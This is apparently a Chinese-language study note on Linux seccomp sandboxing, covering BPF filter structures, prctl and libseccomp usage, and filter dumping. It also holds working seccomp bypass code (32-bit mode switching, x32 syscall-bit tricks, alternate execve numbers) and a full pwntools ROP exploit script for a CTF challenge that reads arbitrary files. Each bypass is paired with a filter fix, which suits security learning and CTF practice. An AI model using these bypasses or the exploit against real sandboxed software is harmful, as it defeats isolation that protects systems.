Seccomp 可以为“不可信的纯计算型代码”提供一个“安全(SAFE, not SECURE)”的运行环境,以保护你的系统和应用程序的正常运行不受不可信代码的干扰。
Seccomp Sandbox
Seccomp(Secure Computing mode)是 Linux 提供的一种沙箱机制,可以用来限制程序可以使用和不可使用的系统调用。简洁、优美是 Seccomp 的优点,但只能支持“纯计算型”代码却使得其应用受到很大限制。比如,Seccomp 模式的进程不能动态分配内存、不能与其它进程使用共享内存、不能使用新的文件描述符、等等。如果要支持具有丰富功能的应用程序,则需要另外的方法来截获并处理其它系统调用。Seccomp 沙箱主要有两种模式,SECCOMP_SET_MODE_STRICT
只运行调用 4 个系统调用 read()
、write()
、exit()
、sigreturn()
四个系统调用,而 SECCOMP_SET_MODE_FILTER
则允许通过 BPF 指定系统调用的黑名单或者白名单。
Seccomp 本身是一种很安全的技术,但是在 SECCOMP_SET_MODE_FILTER
环境下通常会因为 BPF 使用不正确导致沙箱存在被绕过的可能。
- 限制一个程序能够使用的系统调用,可以是黑名单或白名单;
- 根据 Filter 的内容决定遇到系统调用时采取的行为,包括 kill、allow、trap 等等;
- Filter 可以做简单的计算、条件判断。
早期直接使用
prctl
来开启 Seccomp。现在已经有 libseccomp 库,可以直接使用seccomp_init
、seccomp_rule_add
、seccomp_load
来设定规则。
Seccomp using prctl
Seccomp 采用 Berkeley Packet Filter(BPF)格式,原本在防火墙(iptables)中用来过滤封包。使用 Seccomp 需要有 CAP_SYS_ADMIN
Capability(相当于 root 的权限),非 root 用户则通过设置 PR_SET_NO_NEW_PRIVS 位来获取 CAP_SYS_ADMIN
Capability。这样能保证 Seccomp 对所有用户都能起作用,并且会使子进程即 execve 后的进程依然受控。获取 CAP_SYS_ADMIN
Capability 后,就可以开启相应的自定义规则。具体的规则定义在参数 prog
中:
prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0); // 获取 CAP_SYS_ADMIN 权限
prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog); // 开启自定义的过滤规则
接下来看看 prog
对应的结构体 sock_fprog
以及用于过滤系统调用的结构体 sock_filter
,主要定义在 include/uapi/linux/filter.h(/usr/include/linux/filter.h
)中。其中 sock_fprog
第一个成员 len
记录过滤规则的个数;第二个成员 filter
是一个 sock_filter
数组,用于记录相应的过滤规则:
/*
* Try and keep these values and structures similar to BSD, especially
* the BPF code definitions which need to match so you can share filters
*/
struct sock_filter { /* Filter block */
__u16 code; /* Actual filter code */
__u8 jt; /* Jump true */
__u8 jf; /* Jump false */
__u32 k; /* Generic multiuse field */
};
struct sock_fprog { /* Required for SO_ATTACH_FILTER. */
unsigned short len; /* Number of filter blocks */
struct sock_filter __user *filter;
};
为了方便操作 sock_filter
,还定义了一组宏:
/*
* Macros for filter block array initializers.
*/
#ifndef BPF_STMT
#define BPF_STMT(code, k) { (unsigned short)(code), 0, 0, k }
#endif
#ifndef BPF_JUMP
#define BPF_JUMP(code, k, jt, jf) { (unsigned short)(code), jt, jf, k }
#endif
其中在 include/uapi/linux/bpf_common.h(/usr/include/linux/bpf_common.h
)对 code 进行了一系列的定义,包括一些数据操作指令、跳转指令、算术运算指令等等(Winesap 提到程序可以全部用 BPF 的算术运算单元来实现,运行的时间是算在内核里,据说居然可以在 OJ 里绕过时间限制):
/* Instruction classes */
#define BPF_CLASS(code) ((code) & 0x07)
#define BPF_LD 0x00
#define BPF_LDX 0x01
#define BPF_ST 0x02
#define BPF_STX 0x03
#define BPF_ALU 0x04
#define BPF_JMP 0x05
#define BPF_RET 0x06
#define BPF_MISC 0x07
/* ld/ldx fields */
#define BPF_SIZE(code) ((code) & 0x18)
#define BPF_W 0x00
#define BPF_H 0x08
#define BPF_B 0x10
#define BPF_MODE(code) ((code) & 0xe0)
#define BPF_IMM 0x00
#define BPF_ABS 0x20
#define BPF_IND 0x40
#define BPF_MEM 0x60
#define BPF_LEN 0x80
#define BPF_MSH 0xa0
/* alu/jmp fields */
#define BPF_OP(code) ((code) & 0xf0)
#define BPF_ADD 0x00
#define BPF_SUB 0x10
#define BPF_MUL 0x20
#define BPF_DIV 0x30
#define BPF_OR 0x40
#define BPF_AND 0x50
#define BPF_LSH 0x60
#define BPF_RSH 0x70
#define BPF_NEG 0x80
#define BPF_MOD 0x90
#define BPF_XOR 0xa0
#define BPF_JA 0x00
#define BPF_JEQ 0x10
#define BPF_JGT 0x20
#define BPF_JGE 0x30
#define BPF_JSET 0x40
#define BPF_SRC(code) ((code) & 0x08)
#define BPF_K 0x00
#define BPF_X 0x08
从某个地址加载数据(数据的大小:BPF_W
、BPF_H
、BPF_B
,地址的类型:BPF_ABS
、BPF_IMM
):
BPF_STMT(BPF_LD + BPF_W + BPF_ABS, 0)
然后 Seccomp 的返回值在 include/uapi/linux/seccomp.h(/usr/include/linux/seccomp.h
)中有定义,意思也是比较直观的:
/*
* All BPF programs must return a 32-bit value.
* The bottom 16-bits are for optional return data.
* The upper 16-bits are ordered from least permissive values to most.
*
* The ordering ensures that a min_t() over composed return values always
* selects the least permissive choice.
*/
#define SECCOMP_RET_KILL 0x00000000U /* kill the task immediately */
#define SECCOMP_RET_TRAP 0x00030000U /* disallow and force a SIGSYS */
#define SECCOMP_RET_ERRNO 0x00050000U /* returns an errno */
#define SECCOMP_RET_TRACE 0x7ff00000U /* pass to a tracer or disallow */
#define SECCOMP_RET_ALLOW 0x7fff0000U /* allow */
Seccomp 编写规则时会使用到一个 seccomp_data
结构体,定义在 include/uapi/linux/seccomp.h(/usr/include/linux/seccomp.h
)中。各个成员如下:
nr
:系统调用号;arch
:定义在 include/uapi/linux/audit.h(/usr/include/linux/audit.h
)中;i386
:0x40000003;amd64
:0xc000003e。
instruction_pointer
:系统调用号对应的 IP;args
:系统调用号。i386
:ebx、ecx、edx、esi、edi;amd64
:rdi、rsi、rdx、r10、r8、r9。
#define AUDIT_ARCH_I386 (EM_386|__AUDIT_ARCH_LE)
#define AUDIT_ARCH_IA64 (EM_IA_64|__AUDIT_ARCH_64BIT|__AUDIT_ARCH_LE)
/**
* struct seccomp_data - the format the BPF program executes over.
* @nr: the system call number
* @arch: indicates system call convention as an AUDIT_ARCH_* value
* as defined in <linux/audit.h>.
* @instruction_pointer: at the time of the system call.
* @args: up to 6 system call arguments always stored as 64-bit values
* regardless of the architecture.
*/
struct seccomp_data {
int nr;
__u32 arch;
__u64 instruction_pointer;
__u64 args[6];
};
下面给一个例子测试,SECCOMP_RET_ALLOW
表示允许所有调用;SECCOMP_RET_KILL
表示禁止所有调用:
#include <stdio.h>
#include <stdlib.h>
#include <sys/prctl.h>
#include <linux/seccomp.h>
#include <linux/filter.h>
int main() {
struct sock_filter filter[] = {
// BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ALLOW),
BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL),
};
struct sock_fprog prog = {
.len = (unsigned short)(sizeof(filter) / sizeof(filter[0])),
.filter = filter,
};
prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog);
printf("###\n");
system("ls");
}
SECCOMP_RET_ALLOW
会正常执行,而 SECCOMP_RET_KILL
会报“invalid system call”:
➜ seccomp ./sec
[1] 3372 invalid system call ./sec
禁用 execve 系统调用的规则如下。首先取出 seccomp_data
中的 nr
,然后和 59 比较。如果相等,则跳过一条规则,即被 kill;不相等的话,继续执行下一条规则,即 allow:
struct sock_filter filter[] = {
BPF_STMT(BPF_LD + BPF_W + BPF_ABS, 0), // offset = 0 -> nr
BPF_JUMP(BPF_JMP + BPF_JEQ, 59, 1, 0), // compare nr with 59 (SYS_execve = 59)
BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ALLOW),
BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL),
};
Seccomp 的过滤规则可以通过 gdb 来 dump 出来,即第二次调用 prctl 时的第三个参数:
(gdb) p/x $rdx
$1 = 0x7fffffffe480
(gdb) x/2gx 0x7fffffffe480
0x7fffffffe480: 0x00007fffffff0004 0x00007fffffffe490
(gdb) x/4gx 0x00007fffffffe490
0x7fffffffe490: 0x0000000000000020 0x0000003b00010015
0x7fffffffe4a0: 0x7fff000000000006 0x0000000000000006
(gdb) dump memory dd 0x00007fffffffe490 0x00007fffffffe490+4*8
然后使用 libseccomp 中的 scmp_bpf_disasm 反编译获取大致的过滤规则,通常需要根据反编译出来的结果去查找对应函数的意义:
➜ seccomp scmp_bpf_disasm < dd
line OP JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 ld $data[4]
0001: 0x15 0x00 0x03 0xc000003e jeq 3221225534 true:0002 false:0005
0002: 0x20 0x00 0x00 0x00000000 ld $data[0]
0003: 0x15 0x01 0x00 0x0000003b jeq 59 true:0005 false:0004
0004: 0x06 0x00 0x00 0x7fff0000 ret ALLOW
0005: 0x06 0x00 0x00 0x00000000 ret KILL
使用 seccomp-tools 也可以进行解析。
Seccomp using libseccomp
根据 veritas501 的博客做的一些记录。
这边需要先安装一些依赖才会有 seccomp.h
头文件:
sudo apt-get install libseccomp-dev libseccomp2 seccomp
具体在 /usr/include/seccomp.h
中,一些选项如下:
/*
* seccomp actions
*/
/**
* Kill the process
*/
#define SCMP_ACT_KILL 0x00000000U
/**
* Throw a SIGSYS signal
*/
#define SCMP_ACT_TRAP 0x00030000U
/**
* Return the specified error code
*/
#define SCMP_ACT_ERRNO(x) (0x00050000U | ((x) & 0x0000ffffU))
/**
* Notify a tracing process with the specified value
*/
#define SCMP_ACT_TRACE(x) (0x7ff00000U | ((x) & 0x0000ffffU))
/**
* Allow the syscall to be executed
*/
#define SCMP_ACT_ALLOW 0x7fff0000U
seccomp_init()
用于初始化过滤状态:
/**
* Initialize the filter state
* @param def_action the default filter action
*
* This function initializes the internal seccomp filter state and should
* be called before any other functions in this library to ensure the filter
* state is initialized. Returns a filter context on success, NULL on failure.
*
*/
scmp_filter_ctx seccomp_init(uint32_t def_action);
seccomp_rule_add()
用于添加新的规则。其中如果 arg_cnt
不为 0,那么 arg_cnt
表示后面限制的参数的个数,故只有参数满足要求时才会拦截:
/**
* Add a new rule to the filter
* @param ctx the filter context
* @param action the filter action
* @param syscall the syscall number
* @param arg_cnt the number of argument filters in the argument filter chain
* @param ... scmp_arg_cmp structs (use of SCMP_ARG_CMP() recommended)
*
* This function adds a series of new argument/value checks to the seccomp
* filter for the given syscall; multiple argument/value checks can be
* specified and they will be chained together (AND'd together) in the filter.
* If the specified rule needs to be adjusted due to architecture specifics it
* will be adjusted without notification. Returns zero on success, negative
* values on failure.
*
*/
int seccomp_rule_add(scmp_filter_ctx ctx,
uint32_t action, int syscall, unsigned int arg_cnt, ...);
**
* Specify an argument comparison struct for use in declaring rules
* @param arg the argument number, starting at 0
* @param op the comparison operator, e.g. SCMP_CMP_*
* @param datum_a dependent on comparison
* @param datum_b dependent on comparison, optional
*/
#define SCMP_CMP(...) ((struct scmp_arg_cmp){__VA_ARGS__})
/**
* Specify an argument comparison struct for argument 0
*/
#define SCMP_A0(...) SCMP_CMP(0, __VA_ARGS__)
/**
* Specify an argument comparison struct for argument 1
*/
#define SCMP_A1(...) SCMP_CMP(1, __VA_ARGS__)
/**
* Specify an argument comparison struct for argument 2
*/
#define SCMP_A2(...) SCMP_CMP(2, __VA_ARGS__)
/**
* Specify an argument comparison struct for argument 3
*/
#define SCMP_A3(...) SCMP_CMP(3, __VA_ARGS__)
/**
* Specify an argument comparison struct for argument 4
*/
#define SCMP_A4(...) SCMP_CMP(4, __VA_ARGS__)
/**
* Specify an argument comparison struct for argument 5
*/
#define SCMP_A5(...) SCMP_CMP(5, __VA_ARGS__)
/**
* Comparison operators
*/
enum scmp_compare {
_SCMP_CMP_MIN = 0,
SCMP_CMP_NE = 1, /**< not equal */
SCMP_CMP_LT = 2, /**< less than */
SCMP_CMP_LE = 3, /**< less than or equal */
SCMP_CMP_EQ = 4, /**< equal */
SCMP_CMP_GE = 5, /**< greater than or equal */
SCMP_CMP_GT = 6, /**< greater than */
SCMP_CMP_MASKED_EQ = 7, /**< masked equality */
_SCMP_CMP_MAX,
};
/**
* Argument datum
*/
typedef uint64_t scmp_datum_t;
/**
* Argument / Value comparison definition
*/
struct scmp_arg_cmp {
unsigned int arg; /**< argument number, starting at 0 */
enum scmp_compare op; /**< the comparison op, e.g. SCMP_CMP_* */
scmp_datum_t datum_a;
scmp_datum_t datum_b;
};
seccomp_load()
用来应用规则:
/**
* Loads the filter into the kernel
* @param ctx the filter context
*
* This function loads the given seccomp filter context into the kernel. If
* the filter was loaded correctly, the kernel will be enforcing the filter
* when this function returns. Returns zero on success, negative values on
* error.
*
*/
int seccomp_load(const scmp_filter_ctx ctx);
同样用最简单的例子测试一下:
#include <stdio.h>
#include <unistd.h>
#include <seccomp.h>
#include <linux/seccomp.h>
char *args[] = {
"/bin/ls",
0,
};
int main() {
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
seccomp_load(ctx);
printf("###\n");
system("ls");
execve(args[0], args, 0);
return 0;
}
测试发现这里对 system 没有提示,直接过滤了,对 execve 会提示“invalid system call”。不过具体的功能是一样的:
➜ seccomp ./sec
###
[1] 5480 invalid system call ./sec
Bypass Seccomp
一般来说 64 位下的 Seccomp 会和前面的一样直接禁掉某个调用号。这种情况有一些方法可以对其绕过。
绕过没有检查架构(arch)
一般题目里至少有 SYS_mmap
或 SYS_mprotect
能用,所以通常有机会执行任意 shellcode。通过下面的函数可以在 x86 和 x86_64 之间切换。retf
相当于 POP IP
和 POP CS
两条指令,而 32 位下 CS 为 0x23;64 位下 CS 为 0x33:
to32:
mov DWORD [rsp + 4], 0x23
retf
to64:
mov DWORD [esp + 4], 0x33
retf
假如程序的过滤规则和上面的一样,我们编写一个 my_execve
来调用:
#include <stdio.h>
#include <stdlib.h>
#include <sys/prctl.h>
#include <linux/seccomp.h>
#include <linux/filter.h>
extern void my_execve(void *, void *, void *);
char *args[] = {
"/bin/ls",
0,
};
int main() {
struct sock_filter filter[] = {
BPF_STMT(BPF_LD + BPF_W + BPF_ABS, 0), // offset = 0 -> nr
BPF_JUMP(BPF_JMP + BPF_JEQ, 59, 1, 0), // SYS_execve = 59
BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ALLOW),
BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL),
};
struct sock_fprog prog = {
.len = (unsigned short)(sizeof(filter) / sizeof(filter[0])),
.filter = filter,
};
prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog);
my_execve(args[0], args, 0);
}
my_execve
实现如下,因为 32 位下栈会少一半,所以为了防止程序 crash 需要搬一下栈:
section .text
global my_execve
my_execve:
lea rsp, [stack]
call to32
mov eax, 11
mov ebx, edi
mov ecx, esi
int 0x80
ret
to32:
mov DWORD [rsp + 4], 0x23
retf
section .bss
resb 0x400
stack:
这样就可以成功执行 ls(如果开 sh 的话也没有办法执行命令的,因为 seccomp 的规则会在进程间继承):
➜ seccomp ./sec
Makefile dd sec sec.asm sec.c sec.o
限制办法就是添加对 arch 的检查:
struct sock_filter filter[] = {
BPF_STMT(BPF_LD + BPF_W + BPF_ABS, 4), // ld arch
BPF_JUMP(BPF_JMP + BPF_JEQ, 0xc000003e, 0, 3), // arch == x86_64
BPF_STMT(BPF_LD + BPF_W + BPF_ABS, 0), // offset = 0 -> nr
BPF_JUMP(BPF_JMP + BPF_JEQ, 59, 1, 0), // SYS_execve = 59
BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ALLOW),
BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL),
};
没有过滤 __X32_SYSCALL_BIT
- 在 x86_64 下的一种特殊模式,使用 64 位寄存器和 32 位地址。
- x32 中
nr
会加__X32_SYSCALL_BIT
(0x40000000),见 include/uapi/asm/unistd.h(/usr/include/asm/unistd_x32.h
) - 原本的系统调用号加上 0x40000000 是一样的效果
把 my_execve 修改如下:
section .text
global my_execve
my_execve:
mov rax, 59 + 0x40000000
syscall
同样可以正常执行
➜ seccomp ./sec
Makefile dd sec sec.asm sec.c sec.o
添加对系统调用号的检查来进行限制:
struct sock_filter filter[] = {
BPF_STMT(BPF_LD + BPF_W + BPF_ABS, 4), // ld arch
BPF_JUMP(BPF_JMP + BPF_JEQ, 0xc000003e, 0, 4), // arch == x86_64
BPF_STMT(BPF_LD + BPF_W + BPF_ABS, 0), // offset = 0 -> nr
BPF_JUMP(BPF_JMP + BPF_JSET, 0x40000000, 2, 0), // nr & 0x40000000
BPF_JUMP(BPF_JMP + BPF_JEQ, 59, 1, 0), // SYS_execve = 59
BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ALLOW),
BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL),
};
没有道理的绕过方法
- 部分调用号是给 x32 用的,但在 x86_64 下一样能用
- 59、520、59+0x40000000、520+0x40000000 都是 execve
- 322、322+0x40000000、545、545+0x40000000(stub_execveat,和 execve 类似)也可以
Binary Test
使用 seccomp-tools 对一些题目进行测试。
pwnable.tw-orw
这道题当时是只能用 read、open、write 三个调用来读 flag。这里用 seccomp-tools 来查看一下是怎么实现的限制:
$ seccomp-tools dump ./orw
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0x40000003 if (A != ARCH_I386) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x07 0x00 0x000000ad if (A == rt_sigreturn) goto 0011
0004: 0x15 0x06 0x00 0x00000077 if (A == sigreturn) goto 0011
0005: 0x15 0x05 0x00 0x000000fc if (A == exit_group) goto 0011
0006: 0x15 0x04 0x00 0x00000001 if (A == exit) goto 0011
0007: 0x15 0x03 0x00 0x00000005 if (A == open) goto 0011
0008: 0x15 0x02 0x00 0x00000003 if (A == read) goto 0011
0009: 0x15 0x01 0x00 0x00000004 if (A == write) goto 0011
0010: 0x06 0x00 0x00 0x00050026 return ERRNO(38)
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
可以看到先是检查了 arch 必须是 32 位,然后系统调用只允许 rt_sigreturn、sigreturn、exit_group、exit、open、read、write。
0CTF-2018-mathgame
这道题也是限制了 arch 和一些调用:
$ seccomp-tools dump ./mathgame
Starting system, please wait...
System started!
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x01 0x00 0x40000003 if (A == ARCH_I386) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x20 0x00 0x00 0x00000000 A = sys_number
0004: 0x15 0x00 0x01 0x000000ad if (A != rt_sigreturn) goto 0006
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0006: 0x15 0x00 0x01 0x00000077 if (A != sigreturn) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x15 0x00 0x01 0x000000fc if (A != exit_group) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x15 0x00 0x01 0x00000001 if (A != exit) goto 0012
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0012: 0x15 0x00 0x01 0x00000005 if (A != open) goto 0014
0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0014: 0x15 0x00 0x01 0x00000003 if (A != read) goto 0016
0015: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0016: 0x15 0x00 0x01 0x00000004 if (A != write) goto 0018
0017: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0018: 0x15 0x00 0x01 0x000000c5 if (A != fstat64) goto 0020
0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0020: 0x15 0x00 0x01 0x00000036 if (A != ioctl) goto 0022
0021: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0022: 0x15 0x00 0x01 0x0000008c if (A != _llseek) goto 0024
0023: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0024: 0x15 0x00 0x01 0x000000c0 if (A != mmap2) goto 0026
0025: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0026: 0x15 0x00 0x01 0x0000005b if (A != munmap) goto 0028
0027: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0028: 0x15 0x00 0x01 0x0000002d if (A != brk) goto 0030
0029: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0030: 0x06 0x00 0x00 0x00000000 return KILL
Related CTF Challs
CTF 中涉及 Seccomp 的一些二进制题。记录一下用于在 IDA 中插入的 Seccomp 结构体:
struct sock_filter { /* Filter block */
uint16_t code; /* Actual filter code */
uint8_t jt; /* Jump true */
uint8_t jf; /* Jump false */
uint32_t k; /* Generic multiuse field */
};
struct sock_fprog { /* Required for SO_ATTACH_FILTER. */
unsigned short len; /* Number of filter blocks */
struct sock_filter *filter;
};
HITCON-2017-seccomp
先是一道逆向。程序不难,主要是逆 Seccomp 的部分来得出正确的 6 个参数。这里放一下其他大佬的 Writeup:
int __cdecl main(int argc, const char **argv, const char **envp)
{
signed int i; // [rsp+Ch] [rbp-54h]
struct sock_fprog prog; // [rsp+10h] [rbp-50h]
__int64 args[6]; // [rsp+20h] [rbp-40h]
unsigned __int64 v7; // [rsp+58h] [rbp-8h]
v7 = __readfsqword(0x28u);
prog.len = 4059;
prog.filter = (struct sock_filter *)&s;
memset(args, 0, sizeof(args));
for ( i = 0; i <= 4; ++i )
_isoc99_scanf("%llu", &args[i]);
prctl(38, 1LL, 0LL, 0LL, 0LL);
if ( prctl(22, 2LL, &prog) )
{
perror("prctl");
exit(1);
}
syscall(4919LL, args[0], args[1], args[2], args[3], args[4], args[5]);
printf("Excellent! flag: hitcon{%s}\n", args);
return 0;
}
HITCON-2017-Impeccable_Artifact
程序保护全开,且能对栈上的任意 8 个字节进行读写,同时没有对下标进行检查,所以能造成任意地址读写。然后一开始在 prepare 函数中对 syscall 进行了限制:
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int c; // [rsp+8h] [rbp-658h]
int idx; // [rsp+Ch] [rbp-654h]
__int64 arr[201]; // [rsp+10h] [rbp-650h]
unsigned __int64 v7; // [rsp+658h] [rbp-8h]
v7 = __readfsqword(0x28u);
prepare();
memset(arr, 0, 0x640uLL);
while ( 1 )
{
menu();
idx = 0;
_isoc99_scanf("%d", &c);
if ( c != 1 && c != 2 )
break;
puts("Idx?");
_isoc99_scanf("%d", &idx);
if ( c == 1 )
{
printf("Here it is: %lld\n", arr[idx]);
}
else
{
puts("Give me your number:");
_isoc99_scanf("%lld", &arr[idx]);
}
}
return 0LL;
}
用 seccomp-tools 中可以查看到程序判断了系统架构,然后将传入的第三个参数作为系统调用号(即 rdx 等于 rax),后面会判断 sys_number 和 rdx 是否相等,如果相等也能过 check,这个地方可以构造出一些本身被限制的函数。然后允许 read、write、fstat 等一些函数:
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x10 0xc000003e if (A != ARCH_X86_64) goto 0018
0002: 0x20 0x00 0x00 0x00000020 A = args[2]
0003: 0x07 0x00 0x00 0x00000000 X = A
0004: 0x20 0x00 0x00 0x00000000 A = sys_number
0005: 0x15 0x0d 0x00 0x00000000 if (A == read) goto 0019
0006: 0x15 0x0c 0x00 0x00000001 if (A == write) goto 0019
0007: 0x15 0x0b 0x00 0x00000005 if (A == fstat) goto 0019
0008: 0x15 0x0a 0x00 0x00000008 if (A == lseek) goto 0019
0009: 0x15 0x01 0x00 0x00000009 if (A == mmap) goto 0011
0010: 0x15 0x00 0x03 0x0000000a if (A != mprotect) goto 0014
0011: 0x87 0x00 0x00 0x00000000 A = X
0012: 0x54 0x00 0x00 0x00000001 A &= 0x1
0013: 0x15 0x04 0x05 0x00000001 if (A == 1) goto 0018 else goto 0019
0014: 0x1d 0x04 0x00 0x0000000b if (A == X) goto 0019
0015: 0x15 0x03 0x00 0x0000000c if (A == brk) goto 0019
0016: 0x15 0x02 0x00 0x0000003c if (A == exit) goto 0019
0017: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0019
0018: 0x06 0x00 0x00 0x00000000 return KILL
0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW
经过调试可以找到某些地址泄漏 Binary 和 libc,然后改 ret 处的代码构造 ROP 就能任意文件读取:
#!/usr/bin/env python
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
p = process('./artifact')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def cmd(c):
p.recvuntil('Choice?\n')
p.sendline(str(c))
def show(idx):
cmd(1)
p.recvuntil('Idx?\n')
p.sendline(str(idx))
p.recvuntil('Here it is:')
return int(p.recvuntil('\n', drop=True))
def memo(idx, num):
cmd(2)
p.recvuntil('Idx?\n')
p.sendline(str(idx))
p.recvuntil('Give me your number:\n')
p.sendline(str(num))
def leave():
cmd(3)
binary_base = show(202) - 0xbb0
bss_buf = binary_base + 0x202000
info('binary_base = ' + hex(binary_base))
offset = 0x00007ffff7a2d830 - 0x7ffff7a0d000
libc_base = show(203) - offset
info('libc_base = ' + hex(libc_base))
pop_rdi_ret = libc_base + next(libc.search(asm('pop rdi ; ret')))
pop_rsi_ret = libc_base + next(libc.search(asm('pop rsi ; ret')))
pop_rdx_ret = libc_base + next(libc.search(asm('pop rdx ; ret')))
read_addr = libc_base + libc.symbols['read']
write_addr = libc_base + libc.symbols['write']
open_addr = libc_base + libc.symbols['open']
def set_syscall(idx, syscall, rdi, rsi, rdx):
memo(idx, pop_rdi_ret)
memo(idx + 1, rdi)
memo(idx + 2, pop_rsi_ret)
memo(idx + 3, rsi)
memo(idx + 4, pop_rdx_ret)
memo(idx + 5, rdx)
memo(idx + 6, syscall)
file_name_addr = bss_buf + 0x500
buf_addr = bss_buf + 0x600
set_syscall(203, read_addr, 0, file_name_addr, 0x20) # read file's name
set_syscall(210, open_addr, file_name_addr, 0, 2) # open's syscall number == 2
set_syscall(217, read_addr, 3, buf_addr, 0x1000) # read file's content
set_syscall(224, write_addr, 1, buf_addr, 0x1000) # write to stdout
leave()
p.sendline('exp.py\x00')
p.interactive()
BSides-CTF-2015-Baby_Playpen_Fence
程序首先读入一个4字节的字符串,然后读入相应长度的字符串,并将相应的数据段设置为可执行,最后将字符串传入create_sandbox
函数:
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
__int64 mem_sz; // rax
void *sh_ptr; // rbx
unsigned int v5; // edx
__int64 mem_sz_1; // rax
unsigned int sh_sz; // [rsp+4h] [rbp-14h] BYREF
unsigned __int64 v8; // [rsp+8h] [rbp-10h]
v8 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
puts(
"\n"
" ______\n"
" | |__| | WELCOME TO THE\n"
" | () | UNTRUSTED COMPUTING SERVICE\n"
" |______| V0.0.1a\n"
"\n"
"LOAD PROGRAM");
mem_sz = sysconf(30);
sh_ptr = mmap(0LL, mem_sz, 2, 34, 0, 0LL);
if ( (unsigned int)read_str(0, &sh_sz, 4u) )
{
v5 = 0x200;
if ( sh_sz <= 0x200 )
v5 = sh_sz;
if ( (unsigned int)read_str(0, sh_ptr, v5) )
{
mem_sz_1 = sysconf(30);
mprotect(sh_ptr, mem_sz_1, 5);
create_sandbox((void (*)(void))sh_ptr);
puts("THANK YOU");
exit(0);
}
}
exit(1);
}
create_sandbox
函数中创建了一个子进程,并用prctl设置了相应的系统调用过滤,最后执行shellcode:
unsigned __int64 __fastcall create_sandbox(void (*sh_ptr)(void))
{
__pid_t pid; // eax
int stat_loc; // [rsp+4h] [rbp-14h] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-10h]
v4 = __readfsqword(0x28u);
pid = fork();
if ( pid == -1 )
exit(1);
if ( !pid )
{
sandbox();
sh_ptr();
abort();
}
waitpid(pid, &stat_loc, 0);
if ( (stat_loc & 0x7F) == 0 && !BYTE1(stat_loc) )
abort();
return __readfsqword(0x28u) ^ v4;
}
使用seccomp-tools可以dump下其禁用的系统调用。所有open相关的函数都被禁用了,相应的没办法直接执行execve来起一个shell,因为这样也调用到了open系统调用:
$ ./sandbox.py
[*] '/pwn/babypf'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process '/usr/local/bin/seccomp-tools': pid 2023
[*] Switching to interactive mode
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x20 0x00 0x00 0x00000000 A = sys_number
0004: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0006
0005: 0x06 0x00 0x00 0x00050016 return ERRNO(22)
0006: 0x15 0x00 0x01 0x00000009 if (A != mmap) goto 0008
0007: 0x06 0x00 0x00 0x00050016 return ERRNO(22)
0008: 0x15 0x00 0x01 0x00000101 if (A != openat) goto 0010
0009: 0x06 0x00 0x00 0x00050016 return ERRNO(22)
0010: 0x15 0x00 0x01 0x00000130 if (A != open_by_handle_at) goto 0012
0011: 0x06 0x00 0x00 0x00050016 return ERRNO(22)
0012: 0x15 0x00 0x01 0x00000065 if (A != ptrace) goto 0014
0013: 0x06 0x00 0x00 0x00050016 return ERRNO(22)
0014: 0x06 0x00 0x00 0x7fff0000 return ALLOW
[*] Got EOF while reading in interactive
$
[*] Process '/usr/local/bin/seccomp-tools' stopped with exit code 0 (pid 2023)
